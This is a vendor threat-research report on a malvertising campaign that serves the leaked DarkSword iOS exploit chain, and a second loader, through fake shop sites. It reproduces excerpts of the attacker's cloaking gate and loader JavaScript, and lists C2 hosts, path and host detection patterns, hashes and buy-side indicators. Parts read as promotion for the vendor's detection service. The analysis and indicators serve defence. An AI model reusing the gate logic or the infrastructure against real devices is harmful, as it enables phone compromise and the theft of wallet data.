DarkSword in the ad stack: an iOS exploit chain delivered as malvertising
By Kaminari Ad Threat Research

What this actually means, in plain language
If you do not work in ad security, here is the whole thing without the jargon.
Imagine a pickpocket who rents a shop on a busy street. The shop is spotless. It really does sell watches, the sign is real, and every inspector who walks in finds nothing wrong — because there is nothing wrong with the shop. The theft happens in what the shop quietly does to a few specific people who pass the window.
That is this campaign — malvertising, in the industry's term. The "shop" is an ordinary-looking website advertising watches or crypto trading, and it is advertised through the same ad networks that carry everything else. Nothing about it breaks an advertising rule, which is why it was bought, approved and served for eleven weeks.
The "few specific people" are visitors on older iPhones that have not been updated. For them, the page silently attacks the phone and — if it succeeds — takes photos, contacts, notes and cryptocurrency wallet data, then wipes the wallet apps. Nobody has to tap the ad. Loading the page is enough — this is a zero-click attack.
Everyone else — a reviewer at an ad network, an automated scanner, anyone on a current iPhone — is shown a different, harmless file. That is the trick, and it is why this went unnoticed for so long: the people whose job is to check ads were never shown the dangerous version.
Three consequences, depending on who you are:
- You run an ad network: malware moved through your inventory for weeks, and your existing checks were built to look at the wrong thing.
- You run a website with ads: your readers were attacked while reading your pages, and no click was involved.
- You carry an iPhone: update it. Being current closes most of this, though not all — see the end of this report.
The rest of this write-up is the evidence: the scale, the money trail, and the technical anatomy. If you only needed the picture above, skip to What to do about it. If you work in ad tech or security, the factual summary is directly below.
The findings in brief
- An iOS exploit chain built for targeted espionage is being delivered through ordinary paid ad inventory, at scale, to whoever happens to see the ad.
- The chain is DarkSword, documented by Google in March 2026. Three days after that report it was leaked to a public GitHub repository. We first saw it in bought ad traffic eleven weeks later.
- 7,537 observations across 209 storefront domains and 337 rotating gate hosts, running for eleven weeks, present in the traffic of roughly 15% of active accounts on our platform.
- The payload is financially motivated, not espionage: it steals cryptocurrency wallet data, then deletes the contents of the wallet apps' own containers.
- No click is required — it runs on page load. Updating closes the DarkSword branch, but a second exploit loader, which we could not map to any published CVE, is what a current iPhone gets served instead.
- We shipped a detection on 20 August 2026. It covers every customer on the platform, applies retroactively to historical traffic, and lands on scan reports you can hand to a partner.
- The invisibility will not last. When browser blocklists and reputation systems react to a campaign this size, they do not excise one sub-resource — they flag whole domains and the properties serving them. Whoever is still carrying it then wears the reputation hit.
In March 2026, Google's Threat Intelligence Group published DarkSword: a full-chain iOS exploit built from six vulnerabilities, used by commercial surveillance vendors and suspected state-sponsored actors against targets in Saudi Arabia, Turkey, Malaysia and Ukraine. Delivery was what you would expect from that class of operation — a themed decoy site, a compromised portal, a watering hole aimed at people who matter.
Three days after that report, somebody published the chain on GitHub.
Since June we have been watching it arrive a third way: bought, as ordinary programmatic ad inventory, behind fake watch shops and fake trading platforms, at a volume that has nothing to do with targeting anyone in particular.
If you sell inventory, this ran through it for eleven weeks without tripping a content policy. If you buy it, it looked like a cheap iOS popunder campaign from a new advertiser. If you publish a site, your visitors were exposed by the impression alone — no click required.
The publisher who first complained was right. The phone does block the JavaScript. Just not for the visitor the page was built for.
The campaign in numbers

Measured from our own crawls of live ad traffic, as of 2026-08-20 11:39 UTC:
| Figure | What we measured | Why it matters |
|---|---|---|
| 7,537 | verified observations, earliest 2026-06-11 | Running at scale for weeks, not a one-off test |
| 209 / 337 | storefront domains / cloaking-gate hosts, rotating continuously | A domain blocklist cannot keep up with this |
| 1.5 days | median storefront-domain lifetime | A blocklist is stale before it ships |
| 212 | advertiser brands, 22 impersonating real companies | Identities are disposable; real brands are used as bait |
| ~15% | of active accounts on our platform had it in their traffic | Not a niche edge case — it is widespread |
| 2 | separate exploit families served, by device | A patched phone is routed to a different attack, not to safety |
One clarification before these numbers get quoted. A "scan" is one crawl of one creative or landing page from one country on one device profile. It measures how widely the campaign was running across the inventory we see. It is not a count of infected people, and nothing here should be read as one.
Where to go from here.
| If you are… | Start here |
|---|---|
| a publisher or site owner carrying ads | What this actually means, then What to do about it |
| running an ad network or exchange | What it looked like from the buy side, then The window is closing |
| on a compliance or ad-quality team | Buy-side indicators — the fastest win of anything here |
| a security or threat-research reader | Technical anatomy and the indicator appendix |
| only here for the IOCs | Indicators of compromise |
Detection status: covered since 20 August
Start with the uncomfortable part. According to the networks that reported this to us, none of the tools they had in place flagged this during the period we observed it, June to August 2026 — neither their antivirus engines nor their other ad-verification vendors. That is their assessment of their own tooling at that time, not a claim we have tested on their behalf, and not a statement about what any vendor detects today — but it is consistent across more than one report, and it is consistent with how the kit is built: the storefront breaks no content policy, and the exploit never appears as a navigation hop for a URL-based check to catch.
On 20 August 2026 we shipped a detection for it. Every page we scan is now checked for this kit's delivery infrastructure and, when it is present, the scan is tagged iOS Browser Exploit Attempt at high severity.
Three properties of that detection matter more than its internals:
- It is global. The tag applies to every organisation on the platform, not only the account that reported the problem. Networks working with us are covered, and so are the publishers and advertisers downstream of them.
- It is retroactive. It was applied to historical traffic as well as new scans, so the back catalogue was re-evaluated rather than just everything from today onward.
- It is public. The tag appears on shareable scan reports, so a network can show a partner or an advertiser the evidence without handing over an account.
We are deliberately not publishing the exact pattern or its bounds. This operator rotates domains inside two days and gate hosts inside a fortnight; a rule published in full is a specification for evading it. What we do publish is the indicator set below, and any network can build its own equivalent from it — those are observable properties of the kit, which the operator already knows it has, rather than properties of our detection.
One point of precision, since the tag name is deliberate: it says attempt. What we observe is a page reaching out to this kit's delivery infrastructure. We do not execute the exploit chain, and we do not claim any particular device was compromised. Delivery is what we detect, and delivery is what we report.
The window is closing — and not in your favour
Right now the kit is invisible. That is what makes it dangerous, and it is also a grace period that ends the moment someone larger notices.
Campaigns serving live iOS exploits at this volume do not stay off the radar for long. When browser blocklists and reputation systems — Google Safe Browsing and its equivalents — react, they do not excise one sub-resource. They flag domains, and they flag the properties and networks serving them. That is how those systems are built to handle active malware distribution: bluntly, and all at once.
At that point "we didn't know it was in our inventory" stops being an explanation. It becomes a liability — with publishers, with buyers, and with a browser warning sitting in front of the traffic. This campaign is already spread across many networks, so the cleanup, when it lands, will not be quiet.
Which leaves a choice worth making while it is still yours. Either you find out you were exposed after the flags land, or you can already show — per scan, retroactively — that you caught it and pulled it. Doing it on your terms costs a scan. Doing it after Safe Browsing does it for you costs the traffic.
How fast it grew
From a single observation in the week of 7 June to 2,721 in the week of 16 August — and that last week was still in progress when we cut the snapshot.

Growth in volume is not the interesting part. The interesting part is that the infrastructure underneath it is designed to be discarded faster than anyone can write it down.

Median storefront-domain lifetime across all 209 domains is a day and a half. A batch of five-character free subdomains registered in mid-August each ran 250 or more observations and were finished inside a week. The gate hosts rotate just as fast — ten of them inside a fortnight.
There is exactly one long-lived host in the picture, and it is not a storefront: a traffic distribution system fronting 89 different brands over six weeks.
A blocklist built from this report goes stale in days. The gate fingerprint has held for two months.
Where it ran
The targeting was far wider than the geography it was originally reported to us as.

The five countries named in the first escalation — Japan, India, Brazil, the United States, Vietnam — account for about 20% of observed volume between them. Great Britain was the single largest and was never mentioned. France and Germany were both in the top seven. India, named as a headline target, sits 25th with 71 observations.
That gap matters operationally: whoever configured this campaign may sincerely believe they are running five countries. The inventory they bought was selling them forty. It is a plain illustration of how little control a buyer has over where programmatic money actually lands — and why the sell side cannot quietly hand this problem to the buyer.
What it looked like from the buy side
The exploit is the interesting half of this story, but it is not the half most ad platforms can act on. Advertiser accounts are.
The compliance team at Kadam — an ad network in the same group of companies as Kaminari Ad, which we state plainly so you can weigh the account accordingly — had been living with the symptoms for weeks before any of it had a name: advertiser churn was up, new accounts were arriving with fresh domains and burning them within days, and an unusual share of the traffic was iOS-only. When they went looking for the pattern deliberately, the clearest signal was not the volume. It was the version targeting.

New campaigns whose platform targeting selects only iOS versions below 18 went from a baseline of nought to four per week to between 26 and 69 — roughly a twentyfold jump, starting the week of 29 June. Both iOS 18 and iOS 26 are deselected by hand in these campaigns.
Campaign volume targeting iOS in general did not grow over the same weeks. In one week it fell. This was not the market moving to iOS — it was deliberate selection of firmware that had stopped receiving patches.
That is a buy-side observation, made independently of any exploit analysis, and it lines up exactly with what the exploit needs: a device old enough to be vulnerable. Nobody buys obsolete-firmware-only inventory by accident.
The rest of the procurement fingerprint was consistent enough to build a rule from:
| Signal | What it looked like |
|---|---|
| Format | popunder, iOS-only platform targeting |
| Landing domains | five random characters on a free subdomain provider, plus cheap TLDs |
| Creative | landing domain used directly as the click URL, with no tracker in between |
| Campaign naming | Chinese-language, in crypto, wallets, gold, watches and betting |
| Funding | stablecoin deposits in 100 and 200 dollar tranches |
| Account age | registered one to three days before the first campaign |
(Language and locale signals here — Chinese-language campaign naming, and the .cn font origins listed later — describe the artefacts we collected. They say nothing about anyone's nationality or location, and we do not treat them as evidence of it.)
Across the group: 31 accounts since 1 June, 310 campaigns, about 31 thousand dollars of spend. The largest single account had spent 5.5 thousand dollars across 2.76 million impressions into Japan, the United States, France and Turkey. Nothing about it crossed the thresholds that route an account to manual moderation — which is exactly the gap this procurement pattern is built to sit inside. The cluster has since been actioned.
Two findings from that review are worth more than the counts, because they are reusable.
The strongest link between accounts was a shared landing domain, not a shared IP. Several domains appear under two different advertiser accounts, which makes the landing domain a ready-made deduplication key — one join, and a multi-account operation collapses into a single entity. Landing-page IPs clustered inside one hosting provider's ranges, which corroborated the grouping but was weaker on its own.
And two tempting signals turned out to be worthless, which the reviewers flagged before anyone could build on them. Seventeen of the accounts shared a partial authentication-IP bucket — but that same bucket held 2,643 unrelated users over the period. All of them used one payment method — which is simply the most common method on the platform, with 242 users in the same two months. Neither is evidence of anything.
The operational conclusion was blunt: stop the cluster together, or the budget just moves next door. Ban by landing domain rather than by account, resolve the landing IP during campaign moderation and match it against already-blocked advertisers, and route any new advertiser combining a popunder, iOS-only targeting and a free-TLD domain to manual review before first spend rather than after.
Technical anatomy
From here on this gets technical — it is written for security, ad-quality and threat-research teams. If that is not you, nothing below changes the picture above, and you can jump to What to do about it.
A few terms in plain English, before the detail:
| Term | What it means here |
|---|---|
| Storefront | The fake but normal-looking shop website the ad points to |
| Gate | A hidden script that checks your device and decides which file you get |
| Cloaking | Showing reviewers a clean page while showing real victims a malicious one |
| Sub-request | A file the page quietly loads in the background — not a link anyone clicks |
| Clickunder / popunder | An ad format that opens a page behind the one you are looking at |
| Exploit chain | Several separate software bugs used in sequence to take over a device |
| C2 | The attacker's server that a compromised phone reports back to |
| IOC | "Indicator of compromise" — a fingerprint defenders can search for |
How it surfaced
The escalation that turned symptoms into an investigation came from TrafficStars, one of our clients, who reported a new kind of scam that nothing in their own stack was flagging. It reached us the way these things should: an ad network that scans its own inventory with us, seeing something its other tooling could not explain, and sending it over with enough detail to act on. Their description was precise:
- targeting iOS phones exclusively, with Japan, India, Brazil, the United States and Vietnam at the top
- always a short link
- and, from the publisher, the detail that turned out to matter most: the phone blocks the JS code
Four domains came attached: xfhiobg[.]co, uchsod[.]co, dav[.]itefc[.]top, bv2[.]live.
Two of the four had never appeared in our data at all. Not clean — absent. They were days old, which is the normal state of affairs here, and any answer built on those four names would have expired before it was written.
One hunting caveat for anyone reproducing this: search on whole domains, not fragments. Short substrings match inside base64-encoded tracker parameters, which handed us 31 apparent matches against 7 real ones.
The pivot that worked was to stop asking where the landing page sent the user and start asking what it loaded. One of the four did have history, so we walked its full request tree — every sub-resource, not just the navigation hops — and found a file the landing page pulled in from its own domain:
/gooll/gooll.html
It was on 298 hosts, and it matched nothing in any legitimate template we know. A same-day scan of a second reported domain was loading a different file from somewhere else entirely, under /expires/ on a random rk.<...>[.]icu host. Two generations of the same thing.
From that point the cluster is defined by the gate, not by the domain — which is why it holds still long enough to measure while the domain list churns underneath it.

The gate
In plain terms, the gate is a bouncer on the door. It inspects each visitor's device and decides which of two files they receive. There is no clean file — only two different attacks.
Generation one is a small file hosted on the landing domain itself. Its entire logic:
function loadScriptForOldiOS() {
var ua = navigator.userAgent;
var match = ua.match(/OS (\d+)_/i);
if (match) {
var iosVersion = parseInt(match[1], 10);
var script = document.createElement('script');
script.type = 'text/javascript';
if (iosVersion < 18) {
script.src = '49554fde7424c31c.js?v=' + Math.random();
document.body.appendChild(script);
}
} else {
}
}
window.onload = loadScriptForOldiOS;
The page renders the text work loaded. and nothing else. Below iOS 18 you get a hash-named script; anything else falls into an empty else and sees a blank page. Note how precisely this matches what the compliance team saw being bought.
Generation two, served from a rotating host, is considerably more selective:
var touch = ('ontouchstart' in window) && (navigator.maxTouchPoints > 0);
var iosMatch = ua.match(/iPhone OS (\d+)[_.](\d+)/);
var iosMajor = iosMatch ? parseInt(iosMatch[1]) : 0;
var iosMinor = iosMatch ? parseInt(iosMatch[2]) : 0;
var isSafari = /Safari/.test(ua) &&
!/CriOS|FxiOS|OPiOS|EdgiOS|Googlebot|HeadlessChrome/.test(ua);
if (iosMajor < 18 || iosMajor > 18) ok = false;
else if (iosMinor < 4 || iosMinor > 7) ok = false;
else if (!isSafari) ok = false;
else if (!touch) ok = false;
// then, if still eligible, a WebGL renderer check:
var renderer = gl.getParameter(dbg.UNMASKED_RENDERER_WEBGL) || '';
if (renderer && !/Apple GPU/i.test(renderer)) ok = false;
if (ok) { script.src = 'rce_loader.js'; }
else { script.src = '34ef...a7d.js'; }
An iPhone, running Safari and not a Safari-shaped wrapper, on iOS 18.4 through 18.7, with real touch support and an Apple GPU behind WebGL. That is the entire target population.
Note what the else does. It does not serve a clean page. It serves a second exploit loader — a different family from the one on the matching branch, covered below.

There is no benign branch. The gate only decides which exploit loader you receive.
This is also where "the phone blocks the JS code" comes from. Googlebot and HeadlessChrome are named and excluded by hand. Any reviewer on a desktop, on Android, on Chrome-for-iOS, on an iPad, or on an iPhone one minor version outside the window is served a different file than the victim. The page does not misbehave for them. It simply isn't the same page.
What the target branch delivers
In plain terms: what happens to a visitor the trap accepts — six separate bugs used one after another until the attacker controls the phone.
rce_loader.js is not another check. It is the entry point of a staged exploit chain, and it preloads its stages up front:
var files = [
'rce_worker_18.4.js',
'rce_worker_18.6.js',
'rce_module.js',
'rce_module_18.6.js',
'sbx0_main_18.4.js',
'sbx1_main.js'
];
then picks a pair by version:
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJSCached('rce_worker_18.6.js');
else
workerCode = getJSCached('rce_worker_18.4.js');
Those filenames, that support window, and that version switch are DarkSword. The version condition is identical to the variant GTIG documented in a March 2026 watering-hole campaign, down to the three patch releases enumerated by hand. From there the chain runs remote code execution in the browser, escapes the renderer sandbox into the GPU process, escapes again into a media system service, escalates in the kernel, and loads a final JavaScript payload — six vulnerabilities, all of them JavaScript all the way down:
| Stage | CVE | Component | Patched in |
|---|---|---|---|
rce_module.js | CVE-2025-31277 | JavaScriptCore memory corruption | iOS 18.6 |
rce_worker_18.4.js | CVE-2026-20700 | dyld user-mode PAC bypass | iOS 26.3 |
rce_worker_18.6.js | CVE-2025-43529 | JavaScriptCore memory corruption | iOS 18.7.3, 26.2 |
sbx0_main_18.4.js | CVE-2025-14174 | ANGLE memory corruption (WebContent escape) | iOS 18.7.3, 26.2 |
sbx1_main.js | CVE-2025-43510 | XNU memory management (GPU escape) | iOS 18.7.2, 26.1 |
pe_main.js | CVE-2025-43520 | XNU kernel memory corruption | iOS 18.7.2, 26.1 |
Every one of these is fixed. Apple closed the last of them in iOS 26.3, and DarkSword has no support above 18.7 by construction. In the copy we pulled, the practical coverage is narrower still: there is no 18.7 worker at all, and the offset table in rce_module.js carries entries for exactly one build — iOS 18.5 — across iPhone 11 through iPhone 17 hardware.
So this branch is aimed at devices that have not been updated. That is not the whole story, because it is only one of the two things this gate serves.
Two differences from the published DarkSword activity are worth stating plainly.
The payload has a different motive. GTIG documented three espionage backdoors. The final stage in our sample collects photos, notes, contacts, installed applications and cryptocurrency wallet data, keeps a shell channel open, and then deletes the contents of application containers whose metadata identifies them as wallets. Theft and destruction, aimed at money.
The operator is someone else. The comments throughout the gate and the loader are in Chinese. That is an observation about the artefacts in front of us and nothing more: it does not establish the nationality, residence or location of whoever built or ran this, and we draw no such inference. The command-and-control host, the telemetry host and the final payload match none of the published clusters.
How a surveillance-grade chain reached ad traffic
The obvious question about everything above is how a financially-motivated operator got hold of an exploit chain built to commercial-surveillance-vendor standards. It is not a mystery, and it is not proliferation in the slow sense GTIG warned about. The chain was published.
| Date | Event |
|---|---|
| 11 Mar 2026 | Apple ships an emergency update for devices that cannot run current iOS |
| 18 Mar 2026 | GTIG publishes its DarkSword report |
| 20 Mar 2026 | CISA adds three of the six CVEs to the Known Exploited Vulnerabilities catalogue, remediation due 3 April |
| 21 Mar 2026 | The chain is uploaded to a public GitHub repository |
| 23 Mar 2026 | TechCrunch reports the leak |
| 24 Mar 2026 | Lookout describes a shift in how the kit is being used |
| 11 Jun 2026 | First observation in bought ad inventory — ours |
Three days after the report that named it, the working chain was sitting in a public repository. It has since been forked several hundred times. iVerify's Matthias Frielingsdorf, quoted by TechCrunch, described the barrier to entry precisely: the files are plain HTML and JavaScript, so anyone can copy them onto a server "in a couple minutes to hours". We are not linking the repository, for the same reason TechCrunch did not.
That timeline is the answer. The operator behind the campaign in this report did not have to buy a chain, develop one, or be the sort of actor who can. They had to clone a repository eleven weeks before our first observation.
It also means our wallet-stealing payload is not an oddity we happened to trip over. Lookout characterised the post-leak pattern independently, in the same week, as a move "from traditional, long-term state-sponsored surveillance campaigns to faster, hit-and-run operations focused on financial theft and rapid data exfiltration". We are looking at that pattern reaching the ad supply chain — which is simply the cheapest way yet found to put a page in front of several thousand phones.
One consequence for attribution. Before 21 March, finding this chain in traffic would have implicated a small set of named actors. After it, the chain says nothing about who is using it, which is why we attribute the kit and stop there.
The other branch, which is not DarkSword
In plain terms: updating your iPhone does not opt you out of this. It only changes which attack you are handed.
The file served to everyone who fails the gate deserves its own section, because it is the one most visitors actually receive — including anyone on a current iPhone.
It is 47 KB of obfuscated JavaScript that decodes into a module system rather than a page. Statically, it:
- fingerprints the platform, user agent, Safari and WebKit version, touch capability and private-browsing state
- rejects automation explicitly, including
navigator.webdriver === true, and rejects desktop environments without touch events - consults a table of Safari version profiles and selects one of several version-specific exploit chains from it
- lazily fetches the chosen stages as 40-hex
.jsfiles from the same origin, retrying exploitation up to 20 times - on success injects an embedded ARM64 Mach-O library and calls its entry point, after which the native stage talks to the JavaScript side over a shared-memory channel and makes its own HTTP requests
The native stage reads the hardware model, kernel version and platform serial number, checks its sandbox, and probes for an emulator control binary — which tells you who the author expected to be looking.
This is a different exploit family from DarkSword. The stage names do not match, the structure does not match, and none of the six CVEs above apply to it.
Two things we deliberately do not claim. We do not know which iOS or Safari versions its profile table accepts: the loader returns an unsupported status for what its own code calls old Safari, but we did not recover a numeric boundary, and we did not execute the chain to find one. And we have no CVE mapping or patch status for it, so we cannot tell you it is fixed.
What we can say is the part that matters operationally: a current, fully patched iPhone that loads one of these pages is routed into this branch, and this branch attempts an exploit. DarkSword is the part of the kit we can name and date. It is not the part most visitors get.
We stopped our analysis at the delivery layer. This report deliberately contains no exploit internals, primitives or offsets from either family.
The storefront layer
In plain terms: the fake shops out front. They break no advertising rule — which is exactly why they were approved, bought and served.
Someone still has to buy the impressions, and that is what the front of this operation is for. Every gate sits underneath a working, plausible commercial website.

Nothing in those pages is a policy violation. A page selling watches is a page selling watches; content classification returns Shopping and Luxury Goods, and it is right. The fraud is that the business does not exist — and the exploit is not in the content at all, it is buried among the page's sub-requests.
The brand layer is disposable in the same way the domains are. Across the cluster we counted 212 distinct advertiser brands against 209 domains, and three quarters of those brands appear on exactly one domain: a fresh name, a fresh site, no history for anyone to look up.

Twenty-two of the brands are not invented. They are the names of real companies, used by the operator without those companies' involvement and, as far as we are aware, without their knowledge or consent. To be explicit: every company named in this section is a victim of this campaign, not a participant in it. Their names were taken precisely because they are trusted.
They cluster into recognisable plays: brokers and crypto wallets used as bait for financial phishing (Interactive Brokers, Ledger, moomoo), technology names used as investment bait (Apple, OpenAI, Neuralink), gambling operators (Gamdom, 22BET), and fourteen genuine Swiss and Japanese watch houses whose names were placed on counterfeit shops built by the operator — Rolex, Cartier, Chopard, Piaget, Montblanc, Jaeger-LeCoultre, Tudor, Zenith, Rado, Seiko, Oris, Baume & Mercier, Frederique Constant and Nomos. Most carry only one or two observations each, so they never surface in a volume report; you only see them by enumerating the whole set.

Fake wealth and fake luxury, in roughly that order — the same verticals the compliance review saw in the campaign names. A handful of listings drop the pretence entirely and advertise the surrounding infrastructure in Chinese: a listing calling itself "Credit Suisse Global" (no connection to the bank of the similar name), compute rental, a directory of traffic-generation services, and over-the-counter black-market cash-out. The last two are not offers aimed at a consumer at all. They are trade advertising.
The evidence: a clean page with an exploit inside it
Rather than describe it, here is one, open to anyone:
app.kaminari.ad/public/scans/8cc0cd5f-d232-44f7-a1d3-d4bd90a32bb9
No account, no login — and the report names no organisation and no campaign. What it shows, in the order you will see it:
- A landing page titled "Mega Fusion — MT5 Expert Advisors, Source Code & Custom Algo Development", scanned from Japan on 20 August 2026. It looks like a forex tooling vendor, because that is what it is built to look like.
- A screenshot of exactly that: product shots, an MT4/MT5 menu, an Android app badge.
- No reputation verdict. Not from us, not from any antivirus engine, not from any feed we integrate.
- One navigation hop. The page does not redirect anywhere. There is no chain to follow.
- Thirteen requests, 440 KB — ordinary weight for a small marketing site.
Our own classifier puts the page in Business and Finance / Investing / Forex Trading. Correct, and completely unremarkable — content classification has nothing here to object to.
Then open the request tree. Past the logo, the product images, the menu icons and Google Fonts, the ninth sub-request is the gate, and it is the only thing on the report carrying a tag:
https://dav[.]itefc[.]top/ <- the page, clean
├── /images/assets/main-logo0001.png
├── /images/assets/mobiletrading-img.png
├── /images/assets/menu-icon-mt5.svg
├── fonts.googleapis.com/css2?family=Inter...
├── /images/assets/ins-icon-forex-r.svg
├── /images/assets/menu-icon-mt4.svg
├── /images/assets/ins-icon-metals-r.svg
├── /images/assets/Android-app-mega.png
└── rk[.]tytr…w2t[.]icu/expires/expires.html <- iOS Browser Exploit Attempt, high
That path — /expires/expires.html on a random .icu host — is the generation-2 fingerprint from the gate fingerprints table.
That is the whole argument of this report in one screen. Nothing about the page is suspicious. Nothing about its category is suspicious. A reviewer looking at the creative, the landing page, the redirect chain or the domain reputation would clear it — correctly, on the evidence available to them. The exploit is the ninth sub-request.
One detail from our own capture of that scan is worth pausing on, because it is not on the public page. The file the gate pulled in was 34ef…a7d.js — the reject branch, not rce_loader.js. Our crawler did not match the iOS 18.4 to 18.7 iPhone Safari window, so the gate handed it the second exploit family instead of DarkSword. The branch selection above is not a theory; it is what happened on this scan.
Why this evades review
In plain terms: why every standard check in the industry looked straight past this.
Four properties of the kit, each of which independently defeats a common control:
The device window is an anti-analysis measure. iPhone, Safari, iOS 18.4 to 18.7, real touch, Apple GPU. Manual review happens on desktops and on whatever handset the reviewer owns. Automated review happens on crawlers, and two common crawler identities are excluded by name.
The exploit is never a navigation hop. It arrives as a sub-resource. Blocklists, redirect-chain inspection and anything else that reasons about where a click goes will not see it, because it never goes anywhere.
The storefront is semantically clean. There is no misleading claim to catch, no adult content, no fake giveaway. Content-based classification returns the correct answer, and the correct answer is boring.
Rotation outruns reputation. With a median domain lifetime of a day and a half, a domain is typically finished before any reputation feed has an opinion about it.
Indicators of compromise
In plain terms: the technical fingerprints, so defenders can search their own logs. Safe to skip entirely if that is not your job.
Observed 2026-06-11 through 2026-08-20.
Hostnames below are defanged — dots are bracketed and long random labels are elided — so nothing here is clickable or matches an automated scanner byte-for-byte. Paths are given in full, because the paths are the durable part: hostnames rotate within days, these have been stable for two months. The exact machine-readable set is available on request.
Gate fingerprints — block on these
| Fingerprint | Type | Notes |
|---|---|---|
/gooll/gooll.html | URL path | generation 1, hosted on the landing domain itself |
/expires/expires.html | URL path | generation 2, loaded cross-origin |
^rk\.[a-z0-9]{12,20}\.icu$ | host pattern | generation 2 delivery hosts |
/expires/rce_loader.js | URL path | exploit chain entry point |
/expires/rce_worker_18.4.js, /expires/rce_worker_18.6.js | URL path | RCE stages |
/expires/rce_module.js, /expires/rce_module_18.6.js | URL path | RCE stages |
/expires/sbx0_main_18.4.js, /expires/sbx1_main.js | URL path | sandbox escapes |
/pe_main.js | URL path | privilege escalation; match only alongside the above |
32- or 40-hex .js under /expires/ | URL pattern | rotating payload names, both families |
Command, control and telemetry
| Host | Role |
|---|---|
118[.]icu | C2 for the final payload, cleartext HTTP on port 80, paths under /c2/ plus /upload |
aaa[.]csa[.]it[.]com | loader diagnostics beacon, GET /log.html |
go32ip[.]74rc…pzn[.]icu | victim IP and device collector used by the generation-1 payload |
ipv4[.]icanhazip[.]com | third-party IP echo called by the payload; a legitimate service, not an indicator on its own |
Generation-2 delivery hosts
Every gate host seen in the window:
| Host | Observations | First seen | Last seen |
|---|---|---|---|
rk[.]z8oe…bl6[.]icu | 519 | 2026-08-09 | 2026-08-20 |
rk[.]u5f6…f4o[.]icu | 402 | 2026-08-19 | 2026-08-20 |
rk[.]5x9g…q4q[.]icu | 260 | 2026-08-14 | 2026-08-20 |
rk[.]9dl9…2hs[.]icu | 67 | 2026-08-14 | 2026-08-20 |
rk[.]j7rx…xig[.]icu | 46 | 2026-08-19 | 2026-08-19 |
rk[.]sfig…ga9[.]icu | 40 | 2026-08-18 | 2026-08-20 |
rk[.]2h6f…ne2[.]icu | 14 | 2026-08-18 | 2026-08-19 |
rk[.]xtn7…vse[.]icu | 3 | 2026-08-19 | 2026-08-19 |
rk[.]rqlj…aoe[.]icu | 1 | 2026-08-07 | 2026-08-07 |
rk[.]tytr…w2t[.]icu | 1 | 2026-08-20 | 2026-08-20 |
File hashes
SHA-256 as fetched on 2026-08-20. The operator rebuilds, so treat these as one observation rather than a stable set.
| File | SHA-256 |
|---|---|
expires.html | 42359353d2526beacf3b0aa28cb66720e0032f787c252af0b0d87e3b03ef4b3e |
rce_loader.js | c22daeaf80ec26178443e89a0ed1a52664092f430732b34e26623858ec5dfa46 |
rce_worker_18.4.js | ff656811515fccf379693d038e6b70a2441cc7fc17489d9b8909154c04eca54f |
rce_worker_18.6.js | 636128e5dc2512692f1e7dd2f9ec3c14e6aceb79e68f4eee8226006693460597 |
rce_module.js | 0496695e96b5f5d51c22573eebdfe89958f516828839a8b0b92359759d4c9fde |
rce_module_18.6.js | 37efaa4237a28a4be411d40de80b2935be5b8c4e6731ee1f858c609142a87445 |
sbx0_main_18.4.js | 9a5001241b01279b97d38bab64b658ee03b6cc47341ce33240c383a4ed8847c2 |
sbx1_main.js | d1c726c77fe344c1d49bb5b064276910ffc9b6464bbc58da064461e921e7ca57 |
pe_main.js | 915484cf8862062ab2f3a843b3aa436a82a41bf5bfe0b86ea604cd05df627324 |
| reject-branch loader | cf7a7debbbffea780cf694bc162203c433d08bfd87acb61551232751d05f9692 |
| ARM64 stager from the reject branch | 6d522977b4f5473050ae9f493cc34e837110fd5b06c236517c317d15623ba86c |
Buy-side indicators
For platforms reviewing advertisers rather than pages. None of these is conclusive alone; the combination was reliable across 31 accounts.
- a new advertiser account running a popunder format with iOS-only platform targeting
- platform targeting that selects only iOS versions below 18, with current versions deselected
- landing domain of about five random characters on a free subdomain provider, or on a cheap TLD
- the landing domain used directly as the creative click URL, with no tracker in between
- account registered one to three days before its first campaign, funded by stablecoin in small fixed tranches
- the same landing domain appearing under more than one advertiser account — the single strongest multi-account marker we found
Supporting signals — do not block on these alone
Useful for scoring, wrong as standalone criteria, because unrelated legitimate traffic matches them:
- fonts loaded from
fonts[.]googleapis[.]cn/fonts[.]gstatic[.]cninstead of the.comorigins - five-character subdomains on free providers
- landing pages on
.top,.buzz,.icu,.cyou,.lat,.pics,.mom,.site
Check whether your network was affected
We will run your domain list against the full indicator set and tell you what comes back — no account needed, and no obligation to become a customer.
You also get the complete dataset behind this report: all 209 storefront domains and 337 gate hosts as CSV, with first and last observation, brands and geographies per host, ready to load into a blocklist.
Request the full dataset — or write to [email protected] if you would rather send the domains directly.
What to do about it
If you run an ad network or exchange. Match the gate paths and the host pattern across the entire request tree of a landing page, not just its redirect chain. A domain blocklist built from this report will be stale within days; the fingerprints have held for two months. Treat a page that loads /gooll/gooll.html, or anything under /expires/ from a random .icu host, as malicious regardless of what the page itself contains. On the advertiser side, the buy-side indicators above catch this before the first impression rather than after. If you already scan with us, none of this is work you need to do — the tag fires on every scan, retroactively included.
If you run a site that carries third-party ads. The exploit does not need a click. It runs when the page loads on a vulnerable device, which means your visitors are exposed by the impression alone. Sub-resource review matters more than landing-page review here, and "the creative looked fine" is not a defence you can rely on.
If you carry an iPhone. Update, and do not treat being up to date as immunity here. Updating closes the DarkSword branch outright: all six of its vulnerabilities are patched as of iOS 26.3 and it has no support above 18.7. But the second loader is what a current device gets handed instead, we have no patch status for it, and it attempts an exploit regardless of version. Lockdown Mode is the meaningful control on both paths, because it disables the JIT and WebAssembly surfaces this class of chain is built on.
Frequently asked questions
Can an ad infect an iPhone without anyone clicking it? Yes. This is a zero-click attack: it fires on page load, not on a tap. If a vulnerable iPhone loads a page carrying the ad, the chain runs from the ad's sub-resources with no click required. "Nobody clicked anything" is not a defence against this class of attack.
Which iOS versions does DarkSword affect, and is it patched? The DarkSword branch targets iOS 18.4 to 18.7 and has no support above 18.7. All six of its vulnerabilities are fixed — Apple closed the last of them in iOS 26.3. An up-to-date iPhone is safe from the DarkSword branch, but the same page hands current devices a second exploit loader whose patch status we could not establish.
Why did the tools already in use not flag this malvertising? Because the storefront breaks no content policy and the exploit never appears as a click destination. Content classification returns Shopping and is correct. URL and redirect-chain checks never see the exploit, because it loads as a sub-resource and never goes anywhere. Detection requires walking the full sub-resource tree on a device profile the gate accepts.
What is ad cloaking, and how does the gate work here? Cloaking shows reviewers and bots a clean page while showing real victims a malicious one. Here a gate script fingerprints each visitor's device and serves the exploit chain only to a narrow target: an iPhone on Safari, iOS 18.4 to 18.7, with real touch support and an Apple GPU. Everyone else — including reviewers and named crawlers — is routed to a different file.
